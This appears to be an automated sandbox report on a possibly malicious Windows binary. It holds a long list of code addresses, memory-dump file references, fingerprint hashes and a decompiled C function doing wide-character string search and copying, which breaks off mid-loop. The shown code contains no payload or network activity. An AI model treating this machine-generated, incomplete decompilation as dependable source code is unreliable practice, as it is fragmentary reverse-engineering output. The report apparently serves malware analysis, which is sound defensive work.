0x6ed56b8e
0x6ed56b8f
0x6ed56b8f
0x6ed56901
0x6ed56901
0x6ed56905
0x6ed56908
0x6ed5690c
0x6ed56910
0x6ed56914
0x6ed5691e
0x6ed56920
0x6ed56928
0x6ed56938
0x6ed5693f
0x6ed5696a
0x6ed56970
0x6ed56ae0
0x6ed56ae4
0x6ed56ae6
0x6ed56ae6
0x6ed56aed
0x6ed56af3
0x6ed56afa
0x6ed56afc
0x6ed56aff
0x6ed56b03
0x6ed56b45
0x6ed56b05
0x6ed56b07
0x6ed56b09
0x6ed56b0c
0x6ed56b10
0x6ed56b12
0x6ed56b16
0x6ed56b18
0x6ed56b18
0x6ed56b19
0x6ed56b1e
0x6ed56b24
0x00000000
0x00000000
0x6ed56b26
0x6ed56b2a
0x6ed56b2f
0x00000000
0x00000000
0x00000000
0x6ed56b2f
0x6ed56b31
0x6ed56b31
0x6ed56b10
0x6ed56b35
0x6ed56b37
0x6ed56b38
0x6ed56b3d
0x6ed56b3d
0x6ed56d86
0x6ed56d86
0x6ed56d88
0x6ed56d88
0x6ed5697f
0x6ed56981
0x6ed56984
0x6ed5699c
0x6ed569a0
0x6ed569ac
0x6ed569b2
0x6ed569b2
0x6ed569b7
0x6ed569bb
0x6ed569c1
0x00000000
0x00000000
0x6ed569c7
0x6ed569cc
0x00000000
0x6ed569ce
0x6ed569d4
0x6ed569e9
0x6ed569e9
0x6ed569d6
0x6ed569d6
0x6ed569e0
0x6ed569e7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed569e7
0x00000000
0x6ed569d6
0x6ed569d4
0x00000000
0x6ed569cc
0x6ed56e0d
0x6ed56e10
0x00000000
0x6ed56986
0x6ed56988
0x6ed5698a
0x6ed5698d
0x6ed56997
0x6ed5699a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed5699a
0x6ed56df2
0x6ed56df5
0x6ed56dfb
0x6ed56dff
0x6ed56e05
0x6ed56e05
0x6ed56dff
0x6ed56df5
0x6ed569ee
0x6ed569f3
0x6ed569f9
0x6ed569ff
0x6ed56a15
0x6ed56a19
0x6ed56a1f
0x6ed56a27
0x6ed56a27
0x6ed56a35
0x6ed56a38
0x6ed56a3c
0x6ed56a42
0x6ed56a44
0x6ed56a47
0x6ed56a4b
0x6ed56a9a
0x6ed56a4d
0x6ed56a4f
0x6ed56a51
0x6ed56a54
0x6ed56a58
0x6ed56a5c
0x6ed56a5f
0x6ed56a63
0x6ed56a65
0x6ed56a65
0x6ed56a66
0x6ed56a6b
0x6ed56a71
0x00000000
0x00000000
0x6ed56a73
0x6ed56a77
0x6ed56a7c
0x00000000
0x00000000
0x00000000
0x6ed56a7c
0x6ed56a7e
0x6ed56a81
0x6ed56a81
0x6ed56a58
0x6ed56a85
0x6ed56a87
0x6ed56a88
0x6ed56a8c
0x6ed56a91
0x6ed56a95
0x6ed56a95
0x6ed56aa1
0x6ed56aa4
0x6ed56a01
0x6ed56a01
0x6ed56a01
0x6ed56aa6
0x6ed56aaa
0x6ed56ab8
0x6ed56abc
0x6ed56abe
0x6ed56ac4
0x6ed56ac4
0x6ed56ac7
0x6ed56ac8
0x6ed56acc
0x00000000
0x00000000
0x6ed56ad8
0x6ed56dec
0x6ed56dec
0x6ed56ade
0x6ed56ac2
0x6ed56ac3
0x00000000
0x6ed56ac3
0x00000000
0x6ed56ad8
0x6ed56de2
0x6ed56de2
0x6ed56de6
0x6ed56de6
0x6ed56aaa
0x6ed56d8f
0x6ed56d8f
0x6ed56d91
0x6ed56d92
0x6ed56d9a
0x6ed56d9c
0x6ed56da0
0x6ed56dac
0x6ed56db0
0x6ed56dbd
0x6ed56941
0x6ed56945
0x6ed56946
0x6ed56947
0x6ed56948
0x6ed56949
0x6ed5694a
0x6ed5694a
0x6ed5693f
0x6ed568fb
0x6ed563e9
0x6ed5637c
0x6ed56458
0x6ed5645d
0x6ed56463
0x6ed56468
0x6ed5647d
0x6ed56480
0x6ed56484
0x6ed5648a
0x6ed56492
0x6ed56492
0x6ed5649f
0x6ed564a2
0x6ed564a6
0x6ed564a7
0x6ed564ac
0x6ed564af
0x6ed564b5
0x6ed56504
0x6ed564b7
0x6ed564b9
0x6ed564bb
0x6ed564be
0x6ed564c2
0x6ed564c6
0x6ed564ca
0x6ed564cc
0x6ed564cf
0x6ed564cf
0x6ed564d0
0x6ed564d5
0x6ed564db
0x00000000
0x00000000
0x6ed564dd
0x6ed564e1
0x6ed564e6
0x00000000
0x00000000
0x00000000
0x6ed564e6
0x6ed564e8
0x6ed564ec
0x6ed564ec
0x6ed564c2
0x6ed564ef
0x6ed564f1
0x6ed564f2
0x6ed564f6
0x6ed564fb
0x6ed564ff
0x6ed564ff
0x6ed5650b
0x6ed5650f
0x6ed5646a
0x6ed5646a
0x6ed5646a
0x6ed56513
0x6ed5651f
0x6ed56524
0x6ed5652f
0x6ed56535
0x6ed56e8c
0x6ed5653b
0x6ed5653d
0x6ed56540
0x6ed56558
0x6ed5655c
0x6ed56568
0x6ed5656e
0x6ed5656e
0x6ed56573
0x6ed56577
0x6ed5657d
0x00000000
0x00000000
0x6ed56583
0x6ed56588
0x00000000
0x6ed5658a
0x6ed56590
0x6ed565a5
0x6ed565a5
0x6ed56592
0x6ed56592
0x6ed5659c
0x6ed565a3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed565a3
0x00000000
0x6ed56592
0x6ed56590
0x00000000
0x6ed56588
0x6ed56e85
0x6ed56e88
0x00000000
0x6ed56542
0x6ed56544
0x6ed56546
0x6ed56549
0x6ed56553
0x6ed56556
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed56556
0x6ed56e74
0x6ed56e77
0x6ed56e7d
0x6ed56e7d
0x6ed56e77
0x6ed56540
0x6ed565aa
0x6ed565b5
0x6ed565bc
0x6ed565d4
0x6ed565d8
0x6ed565de
0x6ed565e6
0x6ed565e6
0x6ed565f4
0x6ed565f7
0x6ed565fb
0x6ed565fc
0x6ed56601
0x6ed56604
0x6ed5660a
0x6ed56659
0x6ed5660c
0x6ed5660e
0x6ed56610
0x6ed56613
0x6ed56617
0x6ed5661b
0x6ed5661f
0x6ed56621
0x6ed56624
0x6ed56624
0x6ed56625
0x6ed5662a
0x6ed56630
0x00000000
0x00000000
0x6ed56632
0x6ed56636
0x6ed5663b
0x00000000
0x00000000
0x00000000
0x6ed5663b
0x6ed5663d
0x6ed56641
0x6ed56641
0x6ed56617
0x6ed56644
0x6ed56646
0x6ed56647
0x6ed5664b
0x6ed56650
0x6ed56654
0x6ed56654
0x6ed56660
0x6ed56664
0x6ed565be
0x6ed565be
0x6ed565be
0x6ed56668
0x6ed56670
0x6ed56675
0x6ed5667b
0x6ed56e6d
0x6ed56681
0x6ed56683
0x6ed56686
0x6ed5669e
0x6ed566a2
0x6ed566ae
0x6ed566b4
0x6ed566b4
0x6ed566b9
0x6ed566bd
0x6ed566c3
0x00000000
0x00000000
0x6ed566c9
0x6ed566ce
0x00000000
0x6ed566d0
0x6ed566d6
0x6ed566eb
0x6ed566eb
0x6ed566d8
0x6ed566d8
0x6ed566e2
0x6ed566e9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed566e9
0x00000000
0x6ed566d8
0x6ed566d6
0x00000000
0x6ed566ce
0x6ed56e66
0x6ed56e69
0x00000000
0x6ed56688
0x6ed5668a
0x6ed5668c
0x6ed5668f
0x6ed56699
0x6ed5669c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed5669c
0x6ed56e55
0x6ed56e58
0x6ed56e5e
0x6ed56e5e
0x6ed56e58
0x6ed56686
0x6ed566f0
0x6ed566f0
0x6ed566fb
0x6ed56702
0x6ed56712
0x6ed56715
0x6ed56719
0x6ed5671f
0x6ed56727
0x6ed56727
0x6ed56734
0x6ed56737
0x6ed5673b
0x6ed5673c
0x6ed56741
0x6ed56744
0x6ed5674a
0x6ed5679d
0x6ed5674c
0x6ed5674e
0x6ed56750
0x6ed56753
0x6ed56757
0x6ed5675b
0x6ed5675f
0x6ed56761
0x6ed56764
0x6ed56764
0x6ed56765
0x6ed5676a
0x6ed56770
0x00000000
0x00000000
0x6ed56772
0x6ed56776
0x6ed5677b
0x00000000
0x00000000
0x00000000
0x6ed5677b
0x6ed5677d
0x6ed56781
0x6ed56784
0x6ed56784
0x6ed56757
0x6ed56788
0x6ed5678a
0x6ed5678b
0x6ed5678f
0x6ed56794
0x6ed56798
0x6ed56798
0x6ed567a4
0x6ed567a8
0x6ed567a8
0x6ed567ac
0x6ed567b0
0x6ed56526
0x6ed56526
0x6ed56526
0x6ed567b7
0x6ed56e4e
0x6ed567bd
0x6ed567bf
0x6ed567c2
0x6ed567da
0x6ed567de
0x6ed567ea
0x6ed567f0
0x6ed567f0
0x6ed567f5
0x6ed567f9
0x6ed567ff
0x00000000
0x00000000
0x6ed56805
0x6ed5680a
0x00000000
0x6ed5680c
0x6ed56812
0x6ed56827
0x6ed56827
0x6ed56814
0x6ed56814
0x6ed5681e
0x6ed56825
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed56825
0x00000000
0x6ed56814
0x6ed56812
0x00000000
0x6ed5680a
0x6ed56e47
0x6ed56e4a
0x00000000
0x6ed567c4
0x6ed567c6
0x6ed567c8
0x6ed567cb
0x6ed567d5
0x6ed567d8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed567d8
0x6ed56e36
0x6ed56e39
0x6ed56e3f
0x6ed56e3f
0x6ed56e39
0x6ed567c2
0x6ed5682c
0x6ed56837
0x6ed5683e
0x6ed56856
0x6ed5685a
0x6ed56860
0x6ed56868
0x6ed56868
0x6ed56876
0x6ed56879
0x6ed5687d
0x6ed5687e
0x6ed56883
0x6ed56886
0x6ed5688c
0x6ed568db
0x6ed5688e
0x6ed56890
0x6ed56892
0x6ed56895
0x6ed56899
0x6ed5689d
0x6ed568a1
0x6ed568a3
0x6ed568a6
0x6ed568a6
0x6ed568a7
0x6ed568ac
0x6ed568b2
0x00000000
0x00000000
0x6ed568b4
0x6ed568b8
0x6ed568bd
0x00000000
0x00000000
0x00000000
0x6ed568bd
0x6ed568bf
0x6ed568c3
0x6ed568c3
0x6ed56899
0x6ed568c6
0x6ed568c8
0x6ed568c9
0x6ed568cd
0x6ed568d2
0x6ed568d6
0x6ed568d6
0x6ed568e2
0x6ed568e6
0x6ed56840
0x6ed56840
0x6ed56840
0x00000000

Strings

@, xrefs: 6ED56DCB

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ca296c8c1b784dec66269739aff920a48213b076e99651e2a44e7fe70c450e0f
Instruction ID: 891b7ca5623e7ec269dac42d1871ee9dd4ddd621b3e9e118601a297f7b6a332c
Opcode Fuzzy Hash: ca296c8c1b784dec66269739aff920a48213b076e99651e2a44e7fe70c450e0f
Instruction Fuzzy Hash: A7723C70919752CBEB19CF79C49032E7AE26FD2304F28C66DD8B50B395EA35C861C792

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4C590, Relevance: 2.1, Strings: 1, Instructions: 878
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6ED4C590(signed int* __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v24;
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed short* _t304;
				unsigned int _t312;
				signed int _t313;
				signed short** _t319;
				signed short* _t323;
				signed int* _t325;
				signed int _t330;
				signed int _t334;
				signed int _t338;
				unsigned int _t340;
				unsigned int _t341;
				signed int _t343;
				unsigned int _t344;
				signed int _t345;
				signed int _t349;
				signed int _t350;
				signed int _t352;
				signed int _t357;
				signed int _t360;
				unsigned int _t366;
				signed int _t367;
				void* _t373;
				signed int _t376;
				signed int _t377;
				unsigned int _t383;
				unsigned int _t384;
				signed int _t386;
				signed int _t387;
				signed int _t395;
				signed int _t396;
				signed int _t398;
				signed int* _t405;
				signed int _t406;
				signed int _t412;
				signed int _t418;
				signed int _t421;
				signed int _t426;
				signed int _t432;
				signed int _t434;
				signed int _t441;
				signed int _t443;
				signed int _t449;
				signed int _t452;
				signed int _t457;
				signed int _t459;
				signed int _t463;
				signed int _t464;
				signed int _t465;
				signed int _t466;
				signed int _t469;
				signed int _t476;
				signed int _t479;
				signed int _t480;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t488;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				signed int _t492;
				void* _t493;
				signed int _t494;
				signed int _t495;
				signed int _t498;
				intOrPtr* _t500;
				signed int _t501;
				signed int _t502;
				intOrPtr* _t503;
				signed int _t504;
				signed int _t505;
				signed int _t508;
				signed int _t510;
				signed int _t513;
				signed int _t518;
				void* _t519;
				signed int _t520;
				signed int _t521;
				signed int _t522;
				void* _t523;
				signed int _t524;
				signed int _t525;
				signed int _t528;
				signed int* _t529;
				signed int _t530;
				signed int _t534;
				signed int _t537;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t552;
				signed int _t554;
				signed int _t555;
				signed int _t556;
				signed int _t559;
				signed int _t563;
				signed int _t564;
				signed int _t565;
				signed int _t566;
				signed int _t570;
				signed int _t571;
				signed int _t574;
				signed int _t581;
				signed short* _t582;
				signed int _t586;
				signed int _t587;
				signed int _t588;
				signed int _t590;
				signed int _t591;
				signed int _t592;
				signed int _t593;
				intOrPtr* _t594;
				signed int _t595;
				signed short* _t596;
				signed int _t598;
				signed int _t599;
				signed int _t601;
				signed int _t602;
				signed int _t603;
				signed int _t609;
				signed int _t611;
				signed int* _t614;

				_v64 = 0;
				_t405 = __ecx;
				_v60 = 0;
				_push(0x80);
				_t551 = E6ED41030();
				_t614 = (_t611 & 0xfffffff0) - 0x34 + 4;
				_t304 = _v64;
				if(_t304 == 0) {
					__eflags = 0;
					 *_t551 = 0;
					L8:
					_v60 = 0x40;
					_v64 = _t551;
					if((_a8 & 0x0000ffff) != 0) {
						__eflags = _t551;
						if(_t551 == 0) {
							_t459 = 0x40;
							_t581 = 0;
							L23:
							_t24 = _t581 + 2; // -2147483652
							_t493 = _t24;
							__eflags = _t493 - 0x40;
							_t494 =  <=  ? 0x40 : _t493;
							__eflags = _t459 - _t494;
							if(_t459 < _t494) {
								_t312 = (_t494 >> 5 >> 0x1a) + _t494 >> 6;
								_t495 = _t494 & 0x8000003f;
								__eflags = _t495;
								if(_t495 < 0) {
									_t495 = (_t495 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t495;
								}
								__eflags = _t495;
								_t313 = _t312 + (0 | _t495 > 0x00000000);
								 *_t614 = _t313 << 6;
								_push(_t313 << 7);
								_t552 = E6ED41030();
								_t614 =  &(_t614[1]);
								_t498 = _v64;
								__eflags = _t498;
								if(_t498 == 0) {
									__eflags = 0;
									 *_t552 = 0;
									goto L35;
								} else {
									__eflags = _t552;
									if(_t552 == 0) {
										L33:
										_push(2);
										_push(_t498);
										E6ED410B0();
										_t614 =  &(_t614[2]);
										L35:
										_v60 =  *_t614;
										_v64 = _t552;
										L36:
										__eflags = 0;
										 *((short*)(_t552 + _t581 * 2)) = _a8 & 0x0000ffff;
										_t319 =  &_v64;
										 *((short*)( *_t319 + 2 + _t581 * 2)) = 0;
										L37:
										_t582 =  *_t319;
										if(_t582 == 0) {
											L39:
											_t500 = _a4;
											_push(0x80);
											 *_t500 = 0;
											 *((intOrPtr*)(_t500 + 4)) = 0;
											_t406 = E6ED41030();
											_t614 =  &(_t614[1]);
											_t323 =  *_a4;
											if(_t323 == 0) {
												 *_t406 = 0;
												L60:
												_t325 = _a4;
												 *_t325 = _t406;
												_t325[1] = 0x40;
												L61:
												_push(2);
												_push(_v64);
												E6ED410B0();
												_v64 = 0;
												_v60 = 0;
												return _a4;
											}
											if(_t406 == 0) {
												L45:
												_push(2);
												_push(_t323);
												E6ED410B0();
												_t614 =  &(_t614[2]);
												goto L60;
											}
											_t501 =  *_t323 & 0x0000ffff;
											 *_t406 = _t501;
											if(_t501 == 0) {
												goto L45;
											}
											_t502 = 0;
											while(1) {
												_t502 = _t502 + 1;
												_t463 =  *(_t323 + _t502 * 4 - 2) & 0x0000ffff;
												 *(_t406 + _t502 * 4 - 2) = _t463;
												if(_t463 == 0) {
													goto L45;
												}
												_t464 =  *(_t323 + _t502 * 4) & 0x0000ffff;
												 *(_t406 + _t502 * 4) = _t464;
												if(_t464 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t330 =  *_t582 & 0x0000ffff;
										if(_t330 != 0) {
											_t554 =  *_t405;
											__eflags = _t554;
											if(_t554 == 0) {
												L52:
												_t503 = _a4;
												_push(0x80);
												 *_t503 = 0;
												 *((intOrPtr*)(_t503 + 4)) = 0;
												_t406 = E6ED41030();
												_t614 =  &(_t614[1]);
												_t334 =  *_a4;
												__eflags = _t334;
												if(_t334 == 0) {
													__eflags = 0;
													 *_t406 = 0;
													goto L60;
												}
												__eflags = _t406;
												if(_t406 == 0) {
													L58:
													_push(2);
													_push(_t334);
													E6ED410B0();
													_t614 =  &(_t614[2]);
													goto L60;
												}
												_t504 =  *_t334 & 0x0000ffff;
												 *_t406 = _t504;
												__eflags = _t504;
												if(_t504 == 0) {
													goto L58;
												}
												_t505 = 0;
												__eflags = 0;
												while(1) {
													_t505 = _t505 + 1;
													_t465 =  *(_t334 + _t505 * 4 - 2) & 0x0000ffff;
													 *(_t406 + _t505 * 4 - 2) = _t465;
													__eflags = _t465;
													if(_t465 == 0) {
														goto L58;
													}
													_t466 =  *(_t334 + _t505 * 4) & 0x0000ffff;
													 *(_t406 + _t505 * 4) = _t466;
													__eflags = _t466;
													if(_t466 != 0) {
														continue;
													}
													goto L58;
												}
												goto L58;
											}
											__eflags =  *_t554 & 0x0000ffff;
											if(( *_t554 & 0x0000ffff) == 0) {
												goto L52;
											}
											_v24 = _t582;
											__eflags = _t330 - 0x41 - 0x19;
											_t337 =  <=  ? _t330 + 0x20 : _t330;
											_t508 = 0;
											__eflags = 0;
											_t338 = ( <=  ? _t330 + 0x20 : _t330) & 0x0000ffff;
											_v44 = _t338;
											while(1) {
												_t584 =  *(_t554 + _t508 * 2) & 0x0000ffff;
												_t67 = _t584 - 0x41; // 0x7fffffbe
												__eflags = _t67 - 0x19;
												_t68 = _t584 + 0x20; // 0x8000001f
												_t585 =  <=  ? _t68 :  *(_t554 + _t508 * 2) & 0x0000ffff;
												__eflags = ( <=  ? _t68 :  *(_t554 + _t508 * 2) & 0x0000ffff) - _t338;
												if(( <=  ? _t68 :  *(_t554 + _t508 * 2) & 0x0000ffff) == _t338) {
													break;
												}
												_t508 = _t508 + 1;
												__eflags =  *(_t554 + _t508 * 2) & 0x0000ffff;
												if(( *(_t554 + _t508 * 2) & 0x0000ffff) != 0) {
													continue;
												}
												goto L52;
											}
											_t586 = _v24;
											_t469 = _t554 + _t508 * 2;
											__eflags = _t469;
											if(_t469 == 0) {
												goto L52;
											}
											_t510 = _t586 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_t340 = _t510 & 0x00000001;
											_t412 =  ~_t510 + 0x10 >> 1;
											_v52 = _t412;
											_v36 = _t554;
											_v24 = _t586;
											_t555 = _t412;
											while(1) {
												L68:
												_t587 = _t510;
												__eflags = _t510;
												if(_t510 == 0) {
													goto L74;
												}
												_t421 = 0;
												__eflags = _t340;
												if(_t340 != 0) {
													L78:
													_v28 = _t340;
													_t603 = _v24;
													while(1) {
														__eflags =  *(_t603 + _t421 * 2) & 0x0000ffff;
														if(( *(_t603 + _t421 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t421 = _t421 + 1;
														__eflags = _t421 - 0x7fffffff;
														if(_t421 < 0x7fffffff) {
															continue;
														}
														_v24 = _t603;
														_t341 = _v28;
														L82:
														_t421 = 0x7fffffff;
														L83:
														 *_t614 = _t421;
														_t588 = 0;
														__eflags = 0;
														_v32 = _t510;
														_v28 = _t341;
														while(1) {
															_t422 =  *(_t469 + _t588 * 2) & 0x0000ffff;
															_t124 = _t422 - 0x61; // 0x7fffff9e
															_t559 =  *(_v24 + _t588 * 2) & 0x0000ffff;
															__eflags = _t124 - 0x19;
															_t127 = _t422 - 0x20; // 0x7fffffdf
															_t423 =  <=  ? _t127 :  *(_t469 + _t588 * 2) & 0x0000ffff;
															_t343 = ( <=  ? _t127 :  *(_t469 + _t588 * 2) & 0x0000ffff) & 0x0000ffff;
															__eflags = _t559 - 0x61 - 0x19;
															_t560 =  <=  ? _t559 - 0x20 : _t559;
															__eflags = _t343 - ( <=  ? _t559 - 0x20 : _t559);
															if(__eflags < 0 || __eflags > 0) {
																break;
															}
															__eflags = _t343;
															if(_t343 == 0) {
																L88:
																_t510 = _v32;
																_t341 = _v28;
																_t563 = _v36;
																_t591 = _v24;
																L89:
																__eflags = _t469;
																if(_t469 == 0) {
																	goto L52;
																}
																_v28 = _t341;
																_v36 = _t563;
																_v24 = _t591;
																_t592 = 0;
																__eflags = 0;
																while(1) {
																	L91:
																	_t564 = _t469;
																	_t349 = _t469 + 2;
																	__eflags = _t349;
																	if(_t349 == 0) {
																		break;
																	}
																	__eflags =  *(_t469 + 2) & 0x0000ffff;
																	if(( *(_t469 + 2) & 0x0000ffff) == 0) {
																		break;
																	}
																	 *_t614 = _t564;
																	_t443 = _t592;
																	_v32 = _t510;
																	while(1) {
																		_t443 = _t443 + 1;
																		_t596 = _t469 + _t443 * 2;
																		_t537 =  *_t596 & 0x0000ffff;
																		__eflags = ( *(_t349 + _t443 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
																		_v48 = _t596;
																		_t538 =  <=  ? _t537 + 0x20 : _t537;
																		__eflags = ( <=  ? _t537 + 0x20 : _t537) - _v44;
																		if(( <=  ? _t537 + 0x20 : _t537) == _v44) {
																			break;
																		}
																		__eflags =  *(_t349 + _t443 * 2) & 0x0000ffff;
																		if(( *(_t349 + _t443 * 2) & 0x0000ffff) != 0) {
																			continue;
																		}
																		L96:
																		_t510 = _v32;
																		_t350 = _v28;
																		_t565 = _v36;
																		_t593 = _v24;
																		L97:
																		__eflags = _t510;
																		if(_t510 == 0) {
																			L102:
																			_t476 =  ~( ~_t510 + 0x00000007 & 0x00000007) + 0x7fffffff;
																			__eflags = _t476;
																			while(1) {
																				asm("movdqu xmm1, [esi+edx*2]");
																				asm("pcmpeqw xmm1, xmm0");
																				asm("pmovmskb eax, xmm1");
																				__eflags = _t350;
																				if(_t350 != 0) {
																					break;
																				}
																				_t510 = _t510 + 8;
																				__eflags = _t510 - _t476;
																				if(_t510 < _t476) {
																					continue;
																				}
																				__eflags = _t476 - 0x7fffffff;
																				if(_t476 >= 0x7fffffff) {
																					L108:
																					_t476 = 0x7fffffff;
																					L109:
																					_t352 = _t565 & 0x0000000f;
																					__eflags = _t352;
																					if(_t352 == 0) {
																						L114:
																						_t432 =  ~( ~_t352 + 0x00000007 & 0x00000007) + 0x7fffffff;
																						__eflags = _t432;
																						while(1) {
																							asm("movdqu xmm1, [edi+eax*2]");
																							asm("pcmpeqw xmm1, xmm0");
																							asm("pmovmskb edx, xmm1");
																							__eflags = _t510;
																							if(_t510 != 0) {
																								break;
																							}
																							_t352 = _t352 + 8;
																							__eflags = _t352 - _t432;
																							if(_t352 < _t432) {
																								continue;
																							}
																							__eflags = _t432 - 0x7fffffff;
																							if(_t432 >= 0x7fffffff) {
																								L120:
																								_t432 = 0x7fffffff;
																								L121:
																								_t594 = _a4;
																								_t518 =  *_t614 - _t565 + _t476 * 2 >> 1;
																								__eflags = _t518;
																								 *_t594 = 0;
																								_t519 =  <=  ? 0 : _t518;
																								__eflags = _t432 - _t519;
																								 *((intOrPtr*)(_t594 + 4)) = 0;
																								_t520 =  <  ? _t432 : _t519;
																								_t434 = _t432 - _t520;
																								_t566 = _t565 + _t520 * 2;
																								__eflags = _t566;
																								if(_t566 == 0) {
																									L156:
																									_push(0x80);
																									_t406 = E6ED41030();
																									_t614 =  &(_t614[1]);
																									_t357 =  *_a4;
																									__eflags = _t357;
																									if(_t357 == 0) {
																										 *_t406 = 0;
																										goto L60;
																									}
																									__eflags = _t406;
																									if(_t406 == 0) {
																										L162:
																										_push(2);
																										_push(_t357);
																										E6ED410B0();
																										_t614 =  &(_t614[2]);
																										goto L60;
																									}
																									_t521 =  *_t357 & 0x0000ffff;
																									 *_t406 = _t521;
																									__eflags = _t521;
																									if(_t521 == 0) {
																										goto L162;
																									}
																									_t522 = 0;
																									__eflags = 0;
																									while(1) {
																										_t522 = _t522 + 1;
																										_t479 =  *(_t357 + _t522 * 4 - 2) & 0x0000ffff;
																										 *(_t406 + _t522 * 4 - 2) = _t479;
																										__eflags = _t479;
																										if(_t479 == 0) {
																											goto L162;
																										}
																										_t480 =  *(_t357 + _t522 * 4) & 0x0000ffff;
																										 *(_t406 + _t522 * 4) = _t480;
																										__eflags = _t480;
																										if(_t480 != 0) {
																											continue;
																										}
																										goto L162;
																									}
																									goto L162;
																								}
																								_t360 =  *_t566 & 0x0000ffff;
																								__eflags = _t360;
																								if(_t360 == 0) {
																									goto L156;
																								}
																								__eflags = _t434;
																								if(_t434 != 0) {
																									L136:
																									_t176 = _t434 + 1; // 0x80000000
																									_t523 = _t176;
																									__eflags = _t523 - 0x40;
																									_t524 =  <=  ? 0x40 : _t523;
																									__eflags = _t524;
																									if(_t524 > 0) {
																										_t366 = (_t524 >> 5 >> 0x1a) + _t524 >> 6;
																										_t525 = _t524 & 0x8000003f;
																										__eflags = _t525;
																										if(_t525 < 0) {
																											_t525 = (_t525 - 0x00000001 | 0xffffffc0) + 1;
																											__eflags = _t525;
																										}
																										__eflags = _t525;
																										_t367 = _t366 + (0 | _t525 > 0x00000000);
																										 *_t614 = _t367 << 6;
																										_push(_t367 << 7);
																										_t595 = E6ED41030();
																										_t614 =  &(_t614[1]);
																										_t528 =  *_a4;
																										__eflags = _t528;
																										if(_t528 == 0) {
																											__eflags = 0;
																											 *_t595 = 0;
																											goto L148;
																										} else {
																											__eflags = _t595;
																											if(_t595 == 0) {
																												L146:
																												_push(2);
																												_push(_t528);
																												E6ED410B0();
																												_t614 =  &(_t614[2]);
																												L148:
																												_t529 = _a4;
																												_t529[1] =  *_t614;
																												 *_t529 = _t595;
																												L149:
																												__eflags = _t595;
																												if(_t595 == 0) {
																													goto L61;
																												}
																												_t373 = 0;
																												while(1) {
																													_t530 =  *_t566 & 0x0000ffff;
																													_t373 = _t373 + 1;
																													 *_t595 = _t530;
																													__eflags = _t434;
																													if(_t434 == 0) {
																														goto L154;
																													}
																													__eflags = _t373 - _t434;
																													if(_t373 == _t434) {
																														 *(_t595 + 2) = 0;
																														goto L61;
																													}
																													L154:
																													__eflags = _t530;
																													if(_t530 == 0) {
																														goto L61;
																													}
																													_t595 = _t595 + 2;
																													_t566 = _t566 + 2;
																													__eflags = _t566;
																												}
																											}
																											_t376 =  *_t528 & 0x0000ffff;
																											 *_t595 = _t376;
																											__eflags = _t376;
																											if(_t376 == 0) {
																												goto L146;
																											}
																											_t377 = 0;
																											__eflags = 0;
																											while(1) {
																												_t377 = _t377 + 1;
																												_t483 =  *(_t528 + _t377 * 4 - 2) & 0x0000ffff;
																												 *(_t595 + _t377 * 4 - 2) = _t483;
																												__eflags = _t483;
																												if(_t483 == 0) {
																													goto L146;
																												}
																												_t484 =  *(_t528 + _t377 * 4) & 0x0000ffff;
																												 *(_t595 + _t377 * 4) = _t484;
																												__eflags = _t484;
																												if(_t484 != 0) {
																													continue;
																												}
																												goto L146;
																											}
																											goto L146;
																										}
																									}
																									_t595 = 0;
																									goto L149;
																								}
																								_t534 = _t566 & 0x0000000f;
																								__eflags = _t534;
																								if(_t534 == 0) {
																									L129:
																									_t434 =  ~( ~_t534 + 0x00000007 & 0x00000007) + 0x7fffffff;
																									__eflags = _t434;
																									while(1) {
																										asm("movdqu xmm1, [edi+edx*2]");
																										asm("pcmpeqw xmm1, xmm0");
																										asm("pmovmskb eax, xmm1");
																										__eflags = _t360;
																										if(_t360 != 0) {
																											break;
																										}
																										_t534 = _t534 + 8;
																										__eflags = _t534 - _t434;
																										if(_t534 < _t434) {
																											continue;
																										}
																										__eflags = _t434 - 0x7fffffff;
																										if(_t434 >= 0x7fffffff) {
																											L135:
																											_t434 = 0x7fffffff;
																											goto L136;
																										} else {
																											goto L133;
																										}
																										while(1) {
																											L133:
																											__eflags =  *(_t566 + _t434 * 2) & 0x0000ffff;
																											if(( *(_t566 + _t434 * 2) & 0x0000ffff) == 0) {
																												goto L136;
																											}
																											_t434 = _t434 + 1;
																											__eflags = _t434 - 0x7fffffff;
																											if(_t434 < 0x7fffffff) {
																												continue;
																											}
																											goto L135;
																										}
																										goto L136;
																									}
																									asm("bsf ebx, eax");
																									_t434 = (_t434 >> 1) + _t534;
																									goto L136;
																								}
																								_t434 = 0;
																								__eflags = _t534 & 0x00000001;
																								if((_t534 & 0x00000001) != 0) {
																									goto L133;
																								}
																								_t534 =  ~_t534 + 0x10 >> 1;
																								__eflags = _t534;
																								while(1) {
																									_t360 =  *(_t566 + _t434 * 2) & 0x0000ffff;
																									__eflags = _t360;
																									if(_t360 == 0) {
																										goto L136;
																									}
																									_t434 = _t434 + 1;
